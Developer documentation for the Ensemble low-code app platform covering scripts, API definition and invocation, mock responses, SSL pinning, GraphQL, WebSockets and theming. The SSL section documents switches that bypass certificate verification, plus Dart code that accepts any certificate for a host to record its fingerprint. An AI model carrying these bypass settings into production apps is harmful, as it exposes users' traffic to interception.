endpoints in a Global Script for consistent use throughout your app. This simplifies updates and avoids code duplication. -- **Custom Logic:** Scripts allow you to Implement complex logic, manipulate data, perform calculations, and interact with external services and APIs. - -## Create a Script -In Ensemble Studio, navigate to your app and select `Scripts` from the left menu. Click the button `Create new script` present at the top right corner of the studio. - -![add language](public/images/scripts/create-script.png) - -Now open the script file and you can use standard JavaScript syntax to define variables and functions and then save the file. - -![add language](public/images/scripts/Add-script-content.png) - -> Ensemble currently supports JavaScript syntax up to ES5. - -## Import the script -In the YAML code for your screen or widget, use the `Import` section to reference the script file. For example: -```yaml -Import: - - Common -``` -## Use the Script -The code example shows how to access variables and functions defined in the Global Script from your screen's YAML code. -```yaml -Import: - - Common - -View: - styles: - backgroundColor: ${colors.snowGrey} # Here we have used color imported from the Common Script. - header: - title: Global scripts - body: - Column: - styles: - padding: 24 - gap: 8 - children: - - Button: - label: Run function from Common - styles: - backgroundColor: ${colors.red} # Here we have used color imported from the Common Script. - onTap: - executeCode: - body: | - // Import the getUserFromScript function from the Common script - var thisUser = getUserFromScript(); - - // Now assigning text to the Fields - nameText.text = "Name: " + thisUser.name; - companyText.text = "Company: " + thisUser.company; - - - Column: - children: - - Text: - text: User Details - styles: - textStyle: - color: ${colors.green} - fontSize: 21 - fontWeight: bold - isItalic: true - - Text: # Display user's name - id: nameText - - Text: #  Display user's company - id: companyText -``` -**Explanation:** -1. Accessing Variables from the Script: - + The `backgroundColor` of the view is set using `${colors.snowGrey}`. This references the snowGrey variable defined in the colors object within the Common Script. -Similarly, the `backgroundColor` of the button is set using `${colors.red}`. -2. Accessing Functions from the Script: - + Clicking the button triggers the `onTap` event, which calls the `executeCode` block. Inside the block, the `getUserFromScript()` function (defined in Common Script) is called to retrieve user information. - + The returned data is stored in the `thisUser` variable. To display the user's name, the code constructs a string by combining `"Name: "` with the `name` property of the `thisUser` object. - ---- - - -# Interact with APIs - -The primary mechanism for an Ensemble app to interact with the backend is through APIs. - -The basic flow is: - -- [First, define the APIs you want to call](define-api) -- [Invoke API calls](call-api) on events such as onLoad or onTap -- [Access the API response](access-api-response) -- [Handle errors](api-on-error) - - - -Following capabilities are also available in Ensemble: - - -- [Bind APIs to a template to render a series of widgets](api-item-templates) -- [SSL Configuration](api-ssl-configuration) -- [Chaining API calls](chaining-apis) -- [Websocket](websocket) -- [GraphQL](graphql) - ---- - -# Define APIs - -You define APIs by adding the `API` section to any screen. Note that `API` would be at the root level of the document, i.e. as a sibling to the `View`. - -```yaml -API: - myFirstApi: # a new to refer to this API later - inputs: # specify an array of inputs the API expect. You can reference the inputs in the other API properties, such as the body - uri: # the endpoint to call, e.g. https://dummyjson.com/users/1 - method: # the HTTP method, such as GET, POST, PUT, DELETE, PATCH - parameters: # set the parameters to be passed to the API - manageCookies: # Specify whether to manage cookies automatically for the request. This is only valid for native apps and will be ignored for web apps. Default is false. - headers: # set headers such as authorization tokens - body: # set body, in JSON or YAML, to pass data to the API - onSuccess: # fire an action when the API returns a 2** - onError: # fire an action when the API returns a 4** - - # add more APIs as you need - mySecondApi: -``` - -## GET call without authentication - -For public APIs that do not require authentication, you typically need only the URI and the method. - -```yaml -API: - getUser: - uri: https://dummyjson.com/users/1 - method: GET -``` - -## GET call with bearer token - -APIs might be secured by requiring a token. This token is typically passed as a header parameter named `Authorization`. - -```yaml -API: - getUser: - uri: https://dummyjson.com/users/1 - method: GET - headers: - Authorization: "Bearer <>" -``` - -## GET call with API key - -Some API providers would issue keys to their customers. Typically, the API provider would require the key to be passed a parameter. Check with API provider documentation on what the name of this parameter is. Here, we use `apiKey` as an example. - -```yaml -API: - getUser: - uri: https://dummyjson.com/users/1 - method: GET - parameters: - apiKey: "<>" -``` - -## POST call with data - -Typically you use POST calls with a body to pass data from the frontend to the backend. You can specify the body of the API, and use inputs to pass them dynamically. - -```yaml -API: - addProduct: - inputs: - - productTitle - uri: https://dummyjson.com/products/add - method: POST - body: - title: "${productTitle}" # example of a dynamic data that is set based on the inputs - source: MyApp # example of a static data that is always passed -``` - ---- - -# Invoking APIs, aka calling APIs - -Use `invokeAPI` action to call the APIs you defined. Here are the properties of invokeAPI: - -## API response object -Both the `onResponse` and `onError` actions provide reference to the API response object. The `response` object has the following propertuies available to you. - -| Property | Type | Description | -| :--------- | :----- | :------------------------------------------------------------------------- | -| statusCode | number | Http status code. See details [here](https://developer.mozilla.org/en-US/docs/Web/HTTP/Status) | -| body | String | the actual body of the response. This is where you are mostly interested in. JSON responses are automatically parsed and made available. Other content-types are available as strings. | -| headers | array | Key value pairs of http response headers | -| reasonPhrase | String | Phrase that describes the statusCode. Http response statusCode is a 3 digit number and reasonPhrase describes that number. For example - reasonPhrase for statusCode between 200 and 299 (inclusive) is Successful. More [here](https://www.ibm.com/docs/en/cics-ts/5.5?topic=concepts-status-codes-reason-phrases) | -| cookies | array | A key-value map of cookies received from the API response when manageCookies is enabled | - -## API/invokeAPI properties -| Property | Type | Description | -| :--------- | :----- | :------------------------------------------------------------------------- | -| id | String | Give the API an ID allows you to bind to its result. e.g. ${apiId.body...} | -| name | String | Name of the API defined in the API section | -| inputs | Object | Key value pairs ofinputs to be passed to API definition | -| onResponse | Action | The action to handle the response. This action can access the `response` object. For example - `response.body` or event overwrite the body as `response.body = myJsonObject;` | -| onError | Action | The action to handle errors. Just like onResponse, you have the `response` object available here so you can check `response.statusCode` to see what error was sent by the server and then use `response.body` to access the error response | - - -invokeAPI can be passed to any event, such as `onLoad`, `onTap`, `onPullToRefresh`, ... using EDL or code. - - -## invokeAPI from EDL - -```yaml -View: - onLoad: - invokeAPI: - name: getUser - body: - # screen body -API: - getUser: - uri: https://dummyjson.com/users/1 - method: GET -``` - - -## invokeAPI from code (Javascript) - -```yaml -View: - onLoad: | - ensemble.invokeAPI("getUser"); - body: - # screen body -API: - getUser: - uri: https://dummyjson.com/users/1 - method: GET -``` - - -## Pass inputs to the API (in EDL or in code) - -A common interaction is to pass user provided info from a form to an API. To achieve this, set API inputs by binding to form values. - -Using EDL, set `inputs` property of the `invokeAPI` action. - -```yaml -View: - body: - Column: - styles: - padding: 24 - gap: 8 - children: - - TextInput: - id: productName - label: Product Name - - Button: - label: Submit - onTap: - invokeAPI: - name: addProduct - inputs: - productTitle: ${productName.value} - -API: - addProduct: - inputs: - - productTitle - uri: https://dummyjson.com/products/add - method: POST - body: - title: ${productTitle} -``` - - -Using code, pass `inputs` as an object. *Note* that you cannot pass `onResponse` and `onError` callbacks to `invokeAPI` in code. You can invoke an API in code and have the `onResponse` and `onError` defined on the API definition itself. - -```yaml -View: - body: - Column: - styles: - padding: 24 - gap: 8 - children: - - TextInput: - id: productName - label: Product Name - - Button: - label: Submit - onTap: | - ensemble.invokeAPI("addProduct", { - "productTitle": productName.value - }); - -API: - addProduct: - inputs: - - productTitle - uri: https://dummyjson.com/products/add - method: POST - body: - title: ${productTitle} -``` - ---- - -# Access API response body and headers - -You can access an API response through: - -- **API name** set when defining the API -- **API ID** set when invoking the API - -When invoking the same API more than once, the API name will point to the last instance of the API request. If this is not the desired effect, use an ID instead. - - -## Basic GET example - -Here, we use the API name to access the response body. In EDL, expressions are wrapped in `${}` so that Ensemble runtime evaluates the expression. In this case, the expression is referencing the API response body. - -```yaml -View: - onLoad: - invokeAPI: - name: getUser - body: - Column: - styles: - padding: 40 - children: - - Text: - text: ${getUser.body.firstName} -API: - getUser: - uri: https://dummyjson.com/users/1 - method: GET -``` - - -## GET array of data and display using a template - -An API response could include an array of objects that the app displays using an `item-template`. Any widget that supports `children` property also supports `item-template`. - -```yaml -View: - onLoad: - invokeAPI: - name: getUser - body: - Column: - styles: - padding: 40 - item-template: - data: ${getUser.body.users} - name: user - template: - Text: - text: ${user.firstName} -API: - getUser: - uri: https://dummyjson.com/users/ - method: GET -``` - - -## Using ID to access API response - -When invoking an API, optionally you can assign it an ID. Use this ID when you invoke the API multiple times to access each instance. Here are few examples: - -### 1. Invoking different APIs based on a condition - -The name of the API you invoke could be set based on an input so that you can add conditions on what API to call. In this scenari, you need to use an ID to refer to the API response. - -```yaml -View: - onLoad: - invokeAPI: - name: getMatches - - body: - Column: - item-template: - data: ${getMatchess.body} - name: m - template: - MatchInfo: - inputs: - id: ${m.id} - api: '${m.status == "Finished" ? "getPastMatchDetails" : "getUpcomingMatch"}' - -MatchInfo: - - # use the widget inputs to invoke relevant API and pass the required inputs to the API - inputs: - - id - - api - onLoad: - invokeAPI: - id: matchDetails # use this ID to bind to this API response - name: ${api} - inputs: - id: ${id} - body: - Text: - text: ${matchDetails.body.title} - -API: - - getMatchess: - uri: https://dummyjson.com/matches - method: GET - - getPastMatchDetails: - inputs: - - id - uri: https://dummyjson.com/match/histpry/${id} - method: GET - - getUpcomingMatch: - inputs: - - id - uri: https://dummyjson.com/match/info/${id} - method: GET - -``` - - -### 2. Invoking the same API multiple times - -In these scenarios, the API name, e.g. `${apiName.body...}`, will point to the last instance where that API was invoked. In contrast, the ID will ensure you are referring to the correct instance of the API response within your widget tree. - -Let's consider this scenario: - -1. The app fetches a list of people -2. For each person, the app makes a separate API call to get that person's company info - -```yaml -View: - onLoad: - invokeAPI: - name: getPeople - - body: - Column: - styles: - padding: 24 - children: - - GridView: - styles: - expanded: true - itemHeight: 50 - item-template: - data: ${getPeople.body.users} - name: p - template: - PersonCard: - inputs: - name: ${p.firstName} ${p.lasstName} - company: ${p.company.name} - -PersonCard: - inputs: - - name - - company - onLoad: - invokeAPI: - id: thisCompany # use this ID to refer to bind to this API response - name: getCompanyDetails - inputs: - company: ${company} - body: - Column: - children: - - Text: - text: ${name} - - Text: - text: ${thisCompany.body.name} - -API: - - getPeople: - uri: https://dummyjson.com/users/ - method: GET - - getCompanyDetails: - inputs: - - company - uri: https://dummyjson.com/companies/ - method: GET - parameters: - name: ${company} -``` - ---- - -# onError - -When making API calls, it's crucial to handle errors gracefully to provide a better user experience. When invoking an API, `onError` event is dispatched when the response is a not a success. - -```yaml -View: - body: - Column: - children: - - Button: - label: Call API - onTap: - invokeAPI: - name: createToDo - onResponse: | - apiStatus.text = 'Call was successful'; - onError: | - apiStatus.text = 'API returned an error'; - - Text: - id: apiStatus -``` - ---- - -# Binding APIs to Item Templates - -When developing user interfaces, it's common to display lists of items, and Ensemble simplifies this process by providing the item-template property. This property can be assigned to container widgets like GridView or Carousel and is particularly useful for binding API responses to data-driven UI elements. - -`item-template` takes the following properties: - -- `data`: This should point to an array of data. -- `name`: Set this to a value to reference in the `template`. -- `template`: This is where we define the widgets to render for each item. - -| Property | Type | Description | -| -------- | ------ | ------------------------------------------------------------------------------- | -| data | string | Bind to an array of data from an API response or a variable | -| name | string | Set the name to reference as you iterate through the array of data | -| template | widget | The data row widget to render for each item, it can be a custom widget as well. | - -```yaml -item-template: - data: ${getPeople.body.results} - name: item - template: - Text: - text: ${item.name.first} -``` - -The `data` property of the item-template is bound to the results of the getPeople2 API call (${getPeople2.body.results}). -The `name` property is set to "item," serving as a reference to each item in the array. -The `template` property defines the structure of each item in the list. In this case, it's a Text widget displaying the first name of each person from the API response (${item.name.first}). - -This setup uses the API response from getPeople2 to dynamically generate a list of Text widgets, each displaying the first name of a person from the API response. - ---- - -# Mocking API responses to develop and test your app -A key to developing an app quickly is to build the user interface independently of the back-end. This allows the team building the UI to be unblocked and move fast while also providing actual API payloads to the back-end team to build. Another advantage of this approach is that app could be built quickly with mockdata and be demo'd to customers for feedback. -Ensemble provides a framework for mockng API responses that allow you to do that. You can mock all APIs or some and test with mockdata by simply setting a property. - -- To get hands-on experience with mock APIs, check the live example on [Ensemble Studio](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/UmaRcuduyIZmvOfk9BJu) - -## 1. Setting/unsetting `useMockResponse` -Firstly, to use mock data in your app, it's important to update the global script of the screen, making sure that the API calls are directed to the mock data instead of the actual URL. -```javascript -Global: |- - app.useMockResponse = true; -``` -this sets the `useMockResponse` in the persistent storage but namespaces it by the appId i.e. _useMockResponse. - -For example: -RaRwIu1NasUOUsuJ0OuO_useMockResponse = true; -will be set in storage automatically for an app with id = 'RaRwIu1NasUOUsuJ0OuO' - -you can check the value by just doing - -```javascript -if ( app.useMockResponse ) {...} -``` -By namespacing it, we can ensure that in ensemble live (or studio preview), one app's `useMockResponse` setting is not leaked into another app. - -In theory, you can bind to it as well as it is just another value in the storage. Remember to bind to `_userMockResponse` where should be replaced by your app's id without the <>. for example - RaRwIu1NasUOUsuJ0OuO_useMockResponse - -You can obtain appId for your app anytime by doing - -```javascript -appInfo.appId -``` - -## 2. Specify mock data on the API definitions -Mock data can be specified in 2 different ways, each offering flexibility and customization options to meet your development and testing needs. -### Inline on the API -Below is an example of an API definition, where `mockResponse` property is utilized to specify the inline mock data, which includes a `body` object containing mock data elements such as `title` and `list`. Additionally, response `headers` can be defined to simulate various scenarios. This approach is useful for quickly defining and modifying mock data directly within the API definition. -```yaml - slowAPI: - inputs: - - uniqueId - mockResponse: - #inline mock response - body: - title: I am mock data - list: - - name: mock first - - name: mock second - - name: mock third - - name: ${uniqueId} - #can set response headers as well - headers: - - authToken: absbsbxssjjs - url: https://openlibrary.org/search.json?q=the+lord+of+the+rings - onResponse: |- - console.log('slowAPI='+uniqueId); - response.body.list.push({name: 'adding in onResponse - '+uniqueId}); -``` - -### Return mock data from a function -```yaml - mockDataFromFunction: - inputs: - - uniqueId - mockResponse: ${getMockResponse()} - url: https://openlibrary.org/search.json?q=the+lord+of+the+rings - onResponse: |- - console.log('mockDataFromFunction='+uniqueId); - response.body.list.push({name: 'mockDataFromFunction adding in onResponse - '+uniqueId}); -``` -The above API `mockDataFromFunction` endpoint utilizes a function to generate and return mock data dynamically. The `mockResponse` property references the `getMockResponse()` function, which is responsible for generating the mock data. The function could be defined either in the `Global` script block on the current screen or in a separate script and imported in. This method offers greater flexibility and allows for more complex mock data generation logic. -```javascript -var abc = 'var abc'; -function getMockResponse() { - return { - body: { - title: 'hello from mockResponse' + abc, - list: [ - {name: 'mockResponse1'}, - {name: 'mockResponse2'}, - {name: 'mockResponse3'}, - {name: 'mockResponse4'}, - {name: 'mockResponse5'} - ] - } - }; -} -``` -- Response from mock API can be used in a similar way as real API. To understand the utilization of API responses, detailed documentation is available [here](access-api-response). -### Mocking an error response -You can simply set `statusCode` property of the error to a specified status code such as "500" and `reasonPhrase` property to provide bit of description related to the error. -```yaml - mockError: - inputs: - - uniqueId - mockResponse: - body: - statusCode: 500 - reasonPhrase: mock bad request - - url: https://openlibrary.org/search.json?q=the+lord+of+the+rings - onResponse: |- - console.log('mockDataFromFunction='+uniqueId); - response.body.list.push({name: 'mockDataFromFunction adding in onResponse - '+uniqueId}); - onError: - showToast: - message: error occurred ${response.statusCode} ${response.reasonPhrase} - options: - duration: 5 -``` - ---- - -# Chaining APIs - -Chaining APIs, i.e. making sequential API calls, is a practice in app development when you need to retrieve and use data from multiple APIs in a specific order. Chaining APIs allows you to build more complex workflows and gather the necessary information for your application. - -```yaml -onLoad: - invokeAPI: - name: getuser - onResponse: - invokeAPI: - name: getcurrentUserContacts - inputs: - userId: ${getUser.body.id} -``` - -**Sequential API Calls:** -The onResponse event for each API call specifies the next API call to be made after the current one is successfully completed. -For example, after the initial API call named "getuser", the onResponse event triggers the "getcurrentUserContacts" API call. - ---- - -# SSL Configuration - -SSL (Secure Sockets Layer) configuration in Ensemble allows you to secure your API communications through certificate pinning and verification controls. This guide explains both global and per-API SSL configuration options and their proper usage. - -## Configuration Levels - -Ensemble supports SSL configuration at two levels: - -1. **Global Configuration** - Applied to all APIs by default using environment variables and secrets -2. **Per-API Configuration** - Overrides global settings for specific APIs using the `sslConfig` property - -## Global SSL Configuration - -### Environment Variables - -These settings apply to all APIs unless overridden by per-API configuration: - -#### ssl_pinning_enabled -- **Type:** Environment Variable -- **Purpose:** Controls whether SSL certificate pinning is active globally -- **Values:** 'true' or 'false' -- **Default:** false -- **Availability:** Only supported in native apps (not available for web apps) - -#### bypass_ssl_pinning -- **Type:** Environment Variable -- **Purpose:** Allows bypassing SSL certificate verification globally -- **Values:** 'true' or 'false' -- **Default:** false -- **Warning:** Should only be used in development environments, never in production - -#### bypass_ssl_pinning_with_validation -- **Type:** Environment Variable -- **Purpose:** Bypass SSL pinning while validating against stored certificate fingerprints -- **Values:** 'true' or 'false' -- **Default:** false -- **Usage:** Compares current certificate fingerprint with stored fingerprint from secure storage - -### Secrets - -#### ssl_pinning_certificate -- **Type:** Secret -- **Purpose:** Provides the certificate for SSL pinning verification -- **Format:** Must be Base64 encoded -- **Behavior:** The app will only trust servers presenting this certificate -- **Dependencies:** Requires `ssl_pinning_enabled` to be 'true' - -## Per-API SSL Configuration - -For more granular control, you can override global SSL settings for individual APIs using the `sslConfig` property in your API definition. - -### Basic Syntax - -```yaml -API: - mySecureAPI: - uri: https://api.example.com/data - method: GET - sslConfig: - pinningEnabled: true - bypassPinning: false - bypassPinningWithFingerprint: false - fingerprintKey: "api_example_com_fingerprint" - headers: - Authorization: Bearer ${token} -``` - -### sslConfig Properties - -#### pinningEnabled -- **Type:** Boolean -- **Purpose:** Enable/disable SSL certificate pinning for this specific API -- **Values:** true or false -- **Overrides:** Global `ssl_pinning_enabled` environment variable -- **Example:** `pinningEnabled: true` - -#### bypassPinning -- **Type:** Boolean -- **Purpose:** Bypass SSL certificate verification for this specific API -- **Values:** true or false -- **Overrides:** Global `bypass_ssl_pinning` environment variable -- **Warning:** Use only in development -- **Example:** `bypassPinning: true` - -#### bypassPinningWithFingerprint -- **Type:** Boolean -- **Purpose:** Bypass SSL pinning while validating against stored certificate fingerprints -- **Values:** true or false -- **Overrides:** Global `bypass_ssl_pinning_with_validation` environment variable -- **Example:** `bypassPinningWithFingerprint: true` -- **Requirement:** `fingerprintKey` should be set with the same key given in API defination as secureStorage. - -#### fingerprintKey -- **Type:** String -- **Purpose:** Specifies the key in secure storage where the certificate fingerprint is stored -- **Default:** "bypass_ssl_fingerprint" -- **Usage:** Used with `bypassPinningWithFingerprint` to retrieve the stored certificate fingerprint for validation -- **Example:** `fingerprintKey: "api_example_com_fingerprint"` - -## Certificate Fingerprint Management - -When using `bypassPinningWithFingerprint`, you need to store the certificate fingerprint in secure storage. There are two main approaches: - -### Method 1: Using Ensemble's setSecureStorage Action - -Store the certificate fingerprint manually using Ensemble's secure storage: - -```yaml -Button: - label: Store Certificate Fingerprint - onTap: - setSecureStorage: - key: "api_example_com_fingerprint" - value: "a1b2c3d4e5f6..." # SHA256 fingerprint of the certificate - onComplete: - showToast: - message: Certificate fingerprint stored -``` - -### Method 2: Using External Methods (Dynamic Certificate Capture) - -For dynamic certificate capture, you can expose external methods from your host application: - -#### Host Application Setup (Flutter/Dart Example) - -```dart -// In your main.dart or wherever you initialize EnsembleApp -Future> captureCertificateForHost({ - required String host, - int port = 443 -}) async { - HttpClient httpClient = HttpClient(); - httpClient.connectionTimeout = const Duration(seconds: 10); - - String sha256Certificate = ''; - - httpClient.badCertificateCallback = (X509Certificate cert, String certHost, int certPort) { - if (certHost.toLowerCase() == host.toLowerCase()) { - sha256Certificate = sha256.convert(cert.der).toString(); - return true; - } - return false; - }; - - try { - HttpClientRequest request = await httpClient.getUrl(Uri.parse('https://$host:$port/')); - HttpClientResponse response = await request.close(); - await response.drain(); - httpClient.close(); - - if (sha256Certificate != '') { - await StorageManager().writeSecurely( - key: 'bypass_ssl_certificate', - value: sha256Certificate, - ); - return {'status': true, 'fingerprint': sha256Certificate}; - } else { - return {'success': false, 'error': 'Failed to capture certificate'}; - } - } catch (e) { - return {'success': false, 'error': e.toString()}; - } -} - -// Register the external method -EnsembleApp( - externalMethods: const { - 'captureCertificateForHost': captureCertificateForHost, - }, - // ... other properties -) -``` - -#### Using External Method in Ensemble EDL - -```yaml -View: - onLoad: - callExternalMethod: - name: captureCertificateForHost - payload: - host: ${HOST} - port: ${PORT_NUMBER} - onComplete: - invokeAPI: - name: secureAPI - onError: - showToast: - message: "Failed to capture certificate: ${response.error}" - options: - type: error - -API: - secureAPI: - uri: ${HOST}/endpoint - method: GET - sslConfig: - bypassPinningWithFingerprint: true - fingerprintKey: "api_fingerprint" - headers: - Authorization: Bearer ${token} -``` - - - -## Configuration Examples - -### Example 1: High-Security API with Certificate Pinning - -```yaml -API: - paymentAPI: - uri: https://secure-payment.example.com/process - method: POST - sslConfig: - pinningEnabled: true - bypassPinning: false - bypassPinningWithFingerprint: false - headers: - Authorization: Bearer ${paymentToken} - Content-Type: application/json - body: - amount: ${amount} - currency: USD -``` - -### Example 2: Development API with SSL Bypass - -```yaml -API: - devTestAPI: - uri: https://dev-server.example.com/test - method: GET - sslConfig: - pinningEnabled: false - bypassPinning: true # Only for development! - bypassPinningWithFingerprint: false - headers: - Authorization: Bearer ${devToken} -``` - -## Security Best Practices - -1. **Production Environment**: Always use certificate pinning (`pinningEnabled: true`) for production APIs -2. **Development Environment**: Use `bypassPinning: true` only during development -3. **Dynamic Environments**: Use `bypassPinningWithFingerprint: true` when dealing with dynamic certificates or multiple environments -4. **Certificate Storage**: Store certificate fingerprints securely using `setSecureStorage` or external methods - ---- - -# GraphQL - -Use Case (Social Media): GraphQL is particularly beneficial in scenarios like social media, where large-scale data is involved. It allows clients to request only the specific data they need, leading to quicker response times (1-2 seconds). -Efficiency: GraphQL enables clients to specify the exact data they want in a single query, reducing over-fetching and under-fetching. - -```yaml - inputs: - - GQLInput - uri: ${env['graphQL_URL_'ensemble.storage]} - method: POST - headers: - Authorization: Bearer ${ensemble.storage.token.exp_token} - ContentType: "application/json" - body: - "query": |- - mutation UpdatePost($input: CreateUpdatePostInput!) {} - "variables": ${GQLInput} -``` - -HTTP Method: -GraphQL APIs typically use the HTTP POST method. In your example, the method is specified as POST. -```yaml -method: POST -``` - -URI (Uniform Resource Identifier): -The URI is typically a single endpoint for GraphQL APIs. In your example, the URI is parameterized with an environment variable (assuming graphQL_URL_ensemble.storage is provided at runtime). -```yaml -uri: ${env['graphQL_URL_'ensemble.storage]} -``` - -Headers: -GraphQL API requests often include headers for authentication or specifying the content type. In your example, you have headers for Authorization (Bearer token) and ContentType (set to "application/json"). -```yaml -headers: - Authorization: Bearer ${ensemble.storage.token.exp_token} - ContentType: "application/json" -``` - -Request Body: -GraphQL API requests use a structured query language in the request body. The key part here is the "query" field, where you define the GraphQL query or mutation. In your example, you are using a mutation called "UpdatePost," and the query is parameterized with ${GQLInput}. -```yaml -body: - "query": |- - mutation UpdatePost($input: CreateUpdatePostInput!) {} - "variables": ${GQLInput} -``` - ---- - -# Using WebSockets - -The Websockets feature enables bidirectional communication between client and server, facilitating real-time data exchange. - - -## Define a WebSocket - -The WebSocket configuration includes settings for connecting to the WebSocket server, handling connection events, and managing data exchange. - -`spark`: Represents the WebSocket connection to the specified URI (`wss://spark.ensembleui.com/example/ws/`). - -```yaml -Socket: - spark: - uri: wss://spark.ensembleui.com/example/ws/ - onSuccess: | - status.text = "connected"; - onDisconnect: | - status.text = "disconnected"; - onReconnectAttempt: | - status.text = "reconnecting"; - onReceive: | - console.log(spark.data); -``` - -## Interact with WebSockets - -Ensemble supports following actions for WebSockets: - -1. Connect Socket: Establishes a connection to the specified socket. - -```yaml - - Button: - label: Connect Action - onTap: - connectSocket: - name: spark -``` - -2. Disconnect Socket: Terminates the connection to the specified socket. - -```yaml - - Button: - label: Disconnect Action - onTap: - disconnectSocket: - name: spark -``` - -3. Message Socket: Sends a message over the specified socket. - -```yaml - - Button: - label: SendMessage Action - onTap: - messageSocket: - name: spark - message: - "content": "Hello there" -``` - ---- - -# Theme - -From color schemes to typography, widgets, and transition options, our comprehensive range of theme elements allows you to effortlessly personalize your app. Discover how themes can transform your online presence, create a cohesive brand identity, and provide a delightful user experience. Unlock the full potential of your app with our versatile and user-friendly theme customization features. - -[Kitchen Sink Example](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/theme) - -## Where to find it ? - -You can find the theme on Left-Side of the panel in ensemble studio after you have selected your App. - -image - -## Defining one theme - -You can define one or more themes for our app and switch between them dynamically. If you only need one theme, you can just define the `Styles` without any `Theme` tag, see the following example. - -```yaml -Tokens: - Colors: - primary: - '900': '#1A2A4C' - '800': '#243B6A' - '700': '#2F4D89' - '600': '#0077B8' - '500': '#0092E0' - '400': '#33B8FF' - '300': '#70CDFF' - '200': '#ADE4FF' - '100': '#D6F1FF' - '50': '#EBF5FF' -Styles: - Button: - backgroundColor: ${Colors.primary['800']} - .submitButton: - backgroundColor: green -``` - -## Defining multiple themes - -Use Case: Allow your users to switch between differnt themes to personalize the look and feel of your app to their tastes. Save the theme that the user selected and automatically apply it everytime user opens the app. - -You can define one or more themes for our app and switch between them dynamically. See [Kitchen Sink Example](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/theme) for a detailed example. - -## Defining themes for different languages - -Use Case: The primary use case is to define a different `fontFamily` for each language as some font families are more optimized for particular languages . You can go much further and define entirely different themes per language as well and allow users to switch between them. - -You can define multiple different themes for each language. This is of course optional. -- Ensemble platform will automatically pick the default theme for a language based on the language of the user's device. -- If none of the themes are marked as `default`, first theme for the language is selected. -- If a theme is not defined for the language, the default theme from the list of themes (or the first one) is applied. - -Here's how to define themes per language (also called locale) - - -```yaml -Themes: -# this is the list of all available themes - - Common - - PrimaryTheme: - default: true - - SecondaryTheme - - RTLTheme: - -LocaleThemes: -#this is the list of themes per locale. Note that the following themes must be present in the list of `Themes` above - en: #language code - https://www.science.co.il/language/Locale-codes.php is used to identify the language for the theme - - SecondaryTheme: - default: true - - PrimaryTheme - ur: - - RTLTheme: - default: true - - SecondaryTheme - ar: - - RTLTheme -``` -The [language code](https://www.science.co.il/language/Locale-codes.php) is used to identify the language. - -## Checking and Switching Themes in Javascript - -```javascript -var themes = app.themes; //returns a list of all configured themes -var currentTheme = app.theme; //currently applied theme -app.theme = 'newTheme'; //change themes dynamically. The theme name must be in the list of Themes in the theme definition. -``` - -In the following EDL, a `DropDown` widget is bound to the list of `themes` that have been configured in the app and allows user to swtich from one theme to another. - -**Example:** - -Bind the `themes` to a dropdown and let user switch themes from all the available themes. -```yaml - - Dropdown: - label: Pick a Theme - items: ${app.themes} - value: ${app.theme} - onChange: - executeCode: - body: | - app.theme = this.value; -``` - -## Savings themes in storage so they can be applied across application sessions - -A common requirement from theming is to be able to persist a theme that user has selected across multiple application sessions i.e. even when the user kills the app and relaunches, the theme s/he selected should automatically apply. Ensemble provides that capability by storing themes in local storage. - -At application startup time, Ensemble platform checks if there is a saved theme and if that theme exists in the list of theme definitions. If both conditions are true, it automatically applies the saved theme instead of the default theme configured in the app. - -Application developers have the following functions available to them. -```javascript -//save theme in storage, this will automatically be applied by the platform on startup -//note that saveTheme does NOT apply a theme, it merely saves it. use app.theme = 'myNewTheme'; to change themes dynamically, -app.saveTheme('myNewTheme'); -//retrieve the saved theme -var savedTheme = app.getSavedTheme(); //there can only be one saved theme -//or remove the saved theme from storage -app.removeSavedTheme(); -``` - -## Text Styles are automatically inherited unless overriden -All text styles (for example - `fontSize`, `fontFamily`, `color` etc) can be defined at the `View`, `Column`, `Row` or any of the top widget level and will automatically be inherited by all `Text` widgets. Note that labels for `Button` etc do not inherit these styles. - -**Example:** -```yaml -View: - className: topView -#rest of your screen definition -``` -And over in your Theme -```yaml - Styles: - .topView: - backgroundColor: ${Colors.gray['200']} - textStyle: - fontWeight: ${Typography.fontWeight['700']} - fontSize: ${Typography.fontSize['xl']} -``` -All `Text` in the screen will inherit these text styles. You can specify the style at the `View` node and then all Text widgets across your whole app would inherit those text styles - -## Parts of a Theme - -- Tokens (optional) -- Styles (in precedence order) - - Inline - specified directly on the widget - - ID based - specified with `#` before the name in the Theme.Styles - - Style Classes - specified as `className` attribute on a widget. One or more space delimited classes - - Widget type - specified for the widget type such as Button in the Theme.Styles - - Inherited from parent - these are limited to `textStyle` only (see above) - -Here's an explanation of the different parts of a theme: - -**1. Tokens (Optional):** - -Tokens are named collections of values typically used for colors, fonts, and spacing. They provide a way to define reusable values across your theme and avoid code duplication. These tokens are then used inside the `Styles` with the expression syntax, for example `${Colors.gray['200']}` - -**Example:** - -```yaml -Light: - label: Light Theme - description: This theme turns everything light as in white background and is default - inheritsFrom: Common - Tokens: - Colors: - teal: - '900': '#014451' - '800': '#05505C' - '700': '#036672' - '600': '#047481' - '500': '#0694A2' - '400': '#16BDCA' - '300': '#7EDCE2' - '200': '#AFECEF' - '100': '#D5F5F6' - '50': '#EDFAFA' - Styles: - Button: - borderRadius: 20 - .submit: - backgroundColor: ${Colors.teal['800']} - labelStyle: - color: white - fontFamily: ${Typography.fontFamily} -``` - -**2. Styles (Precedence Order):** - -Styles define how different UI elements will appear. Ensemble applies styles based on their **precedence**, with higher precedence styles overriding lower ones. Here's the order of precedence, from highest to lowest: - -* **Inline Styles:** Styles defined directly on the widget using the `style` attribute. -* **Style Classes:** Styles defined in the theme and applied to a widget using the `className` attribute (space-separated list of classes). -* **ID-based Styles:** Styles defined in the theme using an ID selector (preceded by `#`). -* **Widget Type Styles:** Styles defined for a specific widget type (e.g., `Button`). - -**Example of Styles defined in a Theme:** - -```yaml -Light: - Styles: - # ID-based style - '#heading': - fontSize: 24 - fontWeight: bold - - # Widget type style - Button: - backgroundColor: ${Colors.primary} - color: white - - # Style class - .error: - color: red -``` -**Example of Inline styles and specifying classes** -```yaml -Button: - styles: - backgroundColor: red - className: commonButton submitButton #here two classes are applied in order i.e. the styles defines in the list of classes are merged in the order they are specified. -``` -**Specificity:** - -Similar to CSS, styles in Ensemble with higher specificity will override those with lower specificity. Specificity is determined by the number and type of selectors used in the style definition. Inline styles and styles specified by the ID-based styles have the highest specificity, followed by classes and then widget type styles. - -By understanding the different parts of a theme and how inheritance and specificity work, 